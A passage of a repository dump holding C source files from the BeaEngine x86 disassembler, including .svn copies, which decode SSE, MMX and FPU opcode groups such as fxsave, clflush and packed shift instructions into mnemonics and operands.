REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; 47 | (*pMyDisasm).Argument1.ArgSize = 512; 48 | } 49 | else { 50 | FailDecode(pMyDisasm); 51 | } 52 | 53 | } 54 | else if (GV.REGOPCODE == 2) { 55 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 56 | if (GV.MOD_!= 0x3) { 57 | GV.MemDecoration = Arg2dword; 58 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+STATE_MANAGEMENT; 59 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ldmxcsr "); 60 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG1; 61 | (*pMyDisasm).Argument1.ArgSize = 32; 62 | } 63 | else { 64 | FailDecode(pMyDisasm); 65 | } 66 | 67 | } 68 | else if (GV.REGOPCODE == 3) { 69 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 70 | if (GV.MOD_!= 0x3) { 71 | GV.MemDecoration = Arg1dword; 72 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+STATE_MANAGEMENT; 73 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stmxcsr "); 74 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG1; 75 | (*pMyDisasm).Argument2.ArgSize = 32; 76 | } 77 | else { 78 | FailDecode(pMyDisasm); 79 | } 80 | 81 | } 82 | 83 | else if (GV.REGOPCODE == 4) { 84 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 85 | if (GV.MOD_!= 0x3) { 86 | GV.MemDecoration = Arg1multibytes; 87 | (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; 88 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xsave "); 89 | (*pMyDisasm).Argument1.ArgSize = 512; 90 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; 91 | (*pMyDisasm).Argument2.ArgSize = 512; 92 | } 93 | else { 94 | FailDecode(pMyDisasm); 95 | } 96 | } 97 | 98 | else if (GV.REGOPCODE == 5) { 99 | GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; 100 | if (GV.MOD_== 0x3) { 101 | (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; 102 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lfence "); 103 | } 104 | else { 105 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 106 | GV.MemDecoration = Arg2multibytes; 107 | (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; 108 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xrstor "); 109 | (*pMyDisasm).Argument2.ArgSize = 512; 110 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; 111 | (*pMyDisasm).Argument1.ArgSize = 512; 112 | } 113 | 114 | } 115 | else if (GV.REGOPCODE == 6) { 116 | GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; 117 | if (GV.MOD_== 0x3) { 118 | (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; 119 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mfence "); 120 | } 121 | else { 122 | FailDecode(pMyDisasm); 123 | } 124 | } 125 | else if (GV.REGOPCODE == 7) { 126 | GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; 127 | if (GV.MOD_== 0x3) { 128 | (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; 129 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sfence "); 130 | } 131 | else { 132 | GV.OperandSize = 8; 133 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 134 | GV.OperandSize = 32; 135 | GV.MemDecoration = Arg2byte; 136 | (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; 137 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "clflush "); 138 | } 139 | 140 | } 141 | 142 | else { 143 | FailDecode(pMyDisasm); 144 | } 145 | GV.EIP_+= GV.DECALAGE_EIP+2; 146 | } 147 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_Grp15.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | void __bea_callspec__ G15_(PDISASM pMyDisasm) 23 | { 24 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 25 | if (GV.REGOPCODE == 0) { 26 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 27 | if (GV.MOD_!= 0x3) { 28 | GV.MemDecoration = Arg1multibytes; 29 | (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; 30 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxsave "); 31 | (*pMyDisasm).Argument1.ArgSize = 512; 32 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; 33 | (*pMyDisasm).Argument2.ArgSize = 512; 34 | } 35 | else { 36 | FailDecode(pMyDisasm); 37 | } 38 | } 39 | else if (GV.REGOPCODE == 1) { 40 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 41 | if (GV.MOD_!= 0x3) { 42 | GV.MemDecoration = Arg2multibytes; 43 | (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; 44 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxrstor "); 45 | (*pMyDisasm).Argument2.ArgSize = 512; 46 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; 47 | (*pMyDisasm).Argument1.ArgSize = 512; 48 | } 49 | else { 50 | FailDecode(pMyDisasm); 51 | } 52 | 53 | } 54 | else if (GV.REGOPCODE == 2) { 55 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 56 | if (GV.MOD_!= 0x3) { 57 | GV.MemDecoration = Arg2dword; 58 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+STATE_MANAGEMENT; 59 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ldmxcsr "); 60 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG1; 61 | (*pMyDisasm).Argument1.ArgSize = 32; 62 | } 63 | else { 64 | FailDecode(pMyDisasm); 65 | } 66 | 67 | } 68 | else if (GV.REGOPCODE == 3) { 69 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 70 | if (GV.MOD_!= 0x3) { 71 | GV.MemDecoration = Arg1dword; 72 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+STATE_MANAGEMENT; 73 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stmxcsr "); 74 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG1; 75 | (*pMyDisasm).Argument2.ArgSize = 32; 76 | } 77 | else { 78 | FailDecode(pMyDisasm); 79 | } 80 | 81 | } 82 | 83 | else if (GV.REGOPCODE == 4) { 84 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 85 | if (GV.MOD_!= 0x3) { 86 | GV.MemDecoration = Arg1multibytes; 87 | (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; 88 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xsave "); 89 | (*pMyDisasm).Argument1.ArgSize = 512; 90 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; 91 | (*pMyDisasm).Argument2.ArgSize = 512; 92 | } 93 | else { 94 | FailDecode(pMyDisasm); 95 | } 96 | } 97 | 98 | else if (GV.REGOPCODE == 5) { 99 | GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; 100 | if (GV.MOD_== 0x3) { 101 | (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; 102 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lfence "); 103 | } 104 | else { 105 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 106 | GV.MemDecoration = Arg2multibytes; 107 | (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; 108 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xrstor "); 109 | (*pMyDisasm).Argument2.ArgSize = 512; 110 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; 111 | (*pMyDisasm).Argument1.ArgSize = 512; 112 | } 113 | 114 | } 115 | else if (GV.REGOPCODE == 6) { 116 | GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; 117 | if (GV.MOD_== 0x3) { 118 | (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; 119 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mfence "); 120 | } 121 | else { 122 | FailDecode(pMyDisasm); 123 | } 124 | } 125 | else if (GV.REGOPCODE == 7) { 126 | GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; 127 | if (GV.MOD_== 0x3) { 128 | (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; 129 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sfence "); 130 | } 131 | else { 132 | GV.OperandSize = 8; 133 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 134 | GV.OperandSize = 32; 135 | GV.MemDecoration = Arg2byte; 136 | (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; 137 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "clflush "); 138 | } 139 | 140 | } 141 | 142 | else { 143 | FailDecode(pMyDisasm); 144 | } 145 | GV.EIP_+= GV.DECALAGE_EIP+2; 146 | } 147 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_Grp12.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | void __bea_callspec__ G12_(PDISASM pMyDisasm) 23 | { 24 | long MyNumber; 25 | 26 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 27 | if (GV.REGOPCODE == 2) { 28 | if (GV.OperandSize == 16) { 29 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 30 | GV.MemDecoration = Arg1dqword; 31 | GV.SSE_ = 1; 32 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 33 | GV.SSE_ = 0; 34 | if (GV.MOD_== 0x3) { 35 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw "); 36 | } 37 | else { 38 | FailDecode(pMyDisasm); 39 | } 40 | GV.EIP_ += GV.DECALAGE_EIP+3; 41 | if (!Security(0, pMyDisasm)) return; 42 | GV.ImmediatSize = 8; 43 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 44 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 45 | (*pMyDisasm).Instruction.Immediat = MyNumber; 46 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 47 | (*pMyDisasm).Argument2.ArgSize = 8; 48 | } 49 | else { 50 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 51 | GV.MemDecoration = Arg1qword; 52 | GV.MMX_ = 1; 53 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 54 | GV.MMX_ = 0; 55 | if (GV.MOD_== 0x3) { 56 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw "); 57 | } 58 | else { 59 | FailDecode(pMyDisasm); 60 | } 61 | GV.EIP_ += GV.DECALAGE_EIP+3; 62 | if (!Security(0, pMyDisasm)) return; 63 | GV.ImmediatSize = 8; 64 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 65 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 66 | (*pMyDisasm).Instruction.Immediat = MyNumber; 67 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 68 | (*pMyDisasm).Argument2.ArgSize = 8; 69 | } 70 | } 71 | else if (GV.REGOPCODE == 4) { 72 | if (GV.OperandSize == 16) { 73 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 74 | GV.MemDecoration = Arg1dqword; 75 | GV.SSE_ = 1; 76 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 77 | GV.SSE_ = 0; 78 | if (GV.MOD_== 0x3) { 79 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw "); 80 | } 81 | else { 82 | FailDecode(pMyDisasm); 83 | } 84 | GV.EIP_ += GV.DECALAGE_EIP+3; 85 | if (!Security(0, pMyDisasm)) return; 86 | GV.ImmediatSize = 8; 87 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 88 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 89 | (*pMyDisasm).Instruction.Immediat = MyNumber; 90 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 91 | (*pMyDisasm).Argument2.ArgSize = 8; 92 | } 93 | else { 94 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 95 | GV.MemDecoration = Arg1qword; 96 | GV.MMX_ = 1; 97 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 98 | GV.MMX_ = 0; 99 | if (GV.MOD_== 0x3) { 100 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw "); 101 | } 102 | else { 103 | FailDecode(pMyDisasm); 104 | } 105 | GV.EIP_ += GV.DECALAGE_EIP+3; 106 | if (!Security(0, pMyDisasm)) return; 107 | GV.ImmediatSize = 8; 108 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 109 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 110 | (*pMyDisasm).Instruction.Immediat = MyNumber; 111 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 112 | (*pMyDisasm).Argument2.ArgSize = 8; 113 | } 114 | 115 | } 116 | else if (GV.REGOPCODE == 6) { 117 | if (GV.OperandSize == 16) { 118 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 119 | GV.MemDecoration = Arg1dqword; 120 | GV.SSE_ = 1; 121 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 122 | GV.SSE_ = 0; 123 | if (GV.MOD_== 0x3) { 124 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw "); 125 | } 126 | else { 127 | FailDecode(pMyDisasm); 128 | } 129 | GV.EIP_ += GV.DECALAGE_EIP+3; 130 | if (!Security(0, pMyDisasm)) return; 131 | GV.ImmediatSize = 8; 132 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 133 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 134 | (*pMyDisasm).Instruction.Immediat = MyNumber; 135 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 136 | (*pMyDisasm).Argument2.ArgSize = 8; 137 | } 138 | else { 139 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 140 | GV.MemDecoration = Arg1qword; 141 | GV.MMX_ = 1; 142 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 143 | GV.MMX_ = 0; 144 | if (GV.MOD_== 0x3) { 145 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw "); 146 | } 147 | else { 148 | FailDecode(pMyDisasm); 149 | } 150 | GV.EIP_ += GV.DECALAGE_EIP+3; 151 | if (!Security(0, pMyDisasm)) return; 152 | GV.ImmediatSize = 8; 153 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 154 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 155 | (*pMyDisasm).Instruction.Immediat = MyNumber; 156 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 157 | (*pMyDisasm).Argument2.ArgSize = 8; 158 | } 159 | } 160 | 161 | else { 162 | FailDecode(pMyDisasm); 163 | } 164 | 165 | } 166 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_Grp13.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | void __bea_callspec__ G13_(PDISASM pMyDisasm) 23 | { 24 | long MyNumber; 25 | 26 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 27 | if (GV.REGOPCODE == 2) { 28 | if (GV.OperandSize == 16) { 29 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 30 | GV.MemDecoration = Arg1dqword; 31 | GV.SSE_ = 1; 32 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 33 | GV.SSE_ = 0; 34 | if (GV.MOD_== 0x3) { 35 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld "); 36 | } 37 | else { 38 | FailDecode(pMyDisasm); 39 | } 40 | GV.EIP_ += GV.DECALAGE_EIP+3; 41 | if (!Security(0, pMyDisasm)) return; 42 | GV.ImmediatSize = 8; 43 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 44 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 45 | (*pMyDisasm).Instruction.Immediat = MyNumber; 46 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 47 | (*pMyDisasm).Argument2.ArgSize = 8; 48 | } 49 | else { 50 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 51 | GV.MemDecoration = Arg1qword; 52 | GV.MMX_ = 1; 53 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 54 | GV.MMX_ = 0; 55 | if (GV.MOD_== 0x3) { 56 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld "); 57 | } 58 | else { 59 | FailDecode(pMyDisasm); 60 | } 61 | GV.EIP_ += GV.DECALAGE_EIP+3; 62 | if (!Security(0, pMyDisasm)) return; 63 | GV.ImmediatSize = 8; 64 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 65 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 66 | (*pMyDisasm).Instruction.Immediat = MyNumber; 67 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 68 | (*pMyDisasm).Argument2.ArgSize = 8; 69 | } 70 | } 71 | else if (GV.REGOPCODE == 4) { 72 | if (GV.OperandSize == 16) { 73 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 74 | GV.MemDecoration = Arg1dqword; 75 | GV.SSE_ = 1; 76 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 77 | GV.SSE_ = 0; 78 | if (GV.MOD_== 0x3) { 79 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad "); 80 | } 81 | else { 82 | FailDecode(pMyDisasm); 83 | } 84 | GV.EIP_ += GV.DECALAGE_EIP+3; 85 | if (!Security(0, pMyDisasm)) return; 86 | GV.ImmediatSize = 8; 87 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 88 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 89 | (*pMyDisasm).Instruction.Immediat = MyNumber; 90 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 91 | (*pMyDisasm).Argument2.ArgSize = 8; 92 | } 93 | else { 94 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 95 | GV.MemDecoration = Arg1qword; 96 | GV.MMX_ = 1; 97 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 98 | GV.MMX_ = 0; 99 | if (GV.MOD_== 0x3) { 100 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad "); 101 | } 102 | else { 103 | FailDecode(pMyDisasm); 104 | } 105 | GV.EIP_ += GV.DECALAGE_EIP+3; 106 | if (!Security(0, pMyDisasm)) return; 107 | GV.ImmediatSize = 8; 108 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 109 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 110 | (*pMyDisasm).Instruction.Immediat = MyNumber; 111 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 112 | (*pMyDisasm).Argument2.ArgSize = 8; 113 | } 114 | 115 | } 116 | else if (GV.REGOPCODE == 6) { 117 | if (GV.OperandSize == 16) { 118 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 119 | GV.MemDecoration = Arg1dqword; 120 | GV.SSE_ = 1; 121 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 122 | GV.SSE_ = 0; 123 | if (GV.MOD_== 0x3) { 124 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld "); 125 | } 126 | else { 127 | FailDecode(pMyDisasm); 128 | } 129 | GV.EIP_ += GV.DECALAGE_EIP+3; 130 | if (!Security(0, pMyDisasm)) return; 131 | GV.ImmediatSize = 8; 132 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 133 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 134 | (*pMyDisasm).Instruction.Immediat = MyNumber; 135 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 136 | (*pMyDisasm).Argument2.ArgSize = 8; 137 | } 138 | else { 139 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 140 | GV.MemDecoration = Arg1qword; 141 | GV.MMX_ = 1; 142 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 143 | GV.MMX_ = 0; 144 | if (GV.MOD_== 0x3) { 145 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld "); 146 | } 147 | else { 148 | FailDecode(pMyDisasm); 149 | } 150 | GV.EIP_ += GV.DECALAGE_EIP+3; 151 | if (!Security(0, pMyDisasm)) return; 152 | GV.ImmediatSize = 8; 153 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 154 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 155 | (*pMyDisasm).Instruction.Immediat = MyNumber; 156 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 157 | (*pMyDisasm).Argument2.ArgSize = 8; 158 | } 159 | } 160 | 161 | else { 162 | FailDecode(pMyDisasm); 163 | } 164 | 165 | } 166 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_Grp12.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | void __bea_callspec__ G12_(PDISASM pMyDisasm) 23 | { 24 | long MyNumber; 25 | 26 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 27 | if (GV.REGOPCODE == 2) { 28 | if (GV.OperandSize == 16) { 29 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 30 | GV.MemDecoration = Arg1dqword; 31 | GV.SSE_ = 1; 32 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 33 | GV.SSE_ = 0; 34 | if (GV.MOD_== 0x3) { 35 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw "); 36 | } 37 | else { 38 | FailDecode(pMyDisasm); 39 | } 40 | GV.EIP_ += GV.DECALAGE_EIP+3; 41 | if (!Security(0, pMyDisasm)) return; 42 | GV.ImmediatSize = 8; 43 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 44 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 45 | (*pMyDisasm).Instruction.Immediat = MyNumber; 46 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 47 | (*pMyDisasm).Argument2.ArgSize = 8; 48 | } 49 | else { 50 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 51 | GV.MemDecoration = Arg1qword; 52 | GV.MMX_ = 1; 53 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 54 | GV.MMX_ = 0; 55 | if (GV.MOD_== 0x3) { 56 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw "); 57 | } 58 | else { 59 | FailDecode(pMyDisasm); 60 | } 61 | GV.EIP_ += GV.DECALAGE_EIP+3; 62 | if (!Security(0, pMyDisasm)) return; 63 | GV.ImmediatSize = 8; 64 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 65 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 66 | (*pMyDisasm).Instruction.Immediat = MyNumber; 67 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 68 | (*pMyDisasm).Argument2.ArgSize = 8; 69 | } 70 | } 71 | else if (GV.REGOPCODE == 4) { 72 | if (GV.OperandSize == 16) { 73 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 74 | GV.MemDecoration 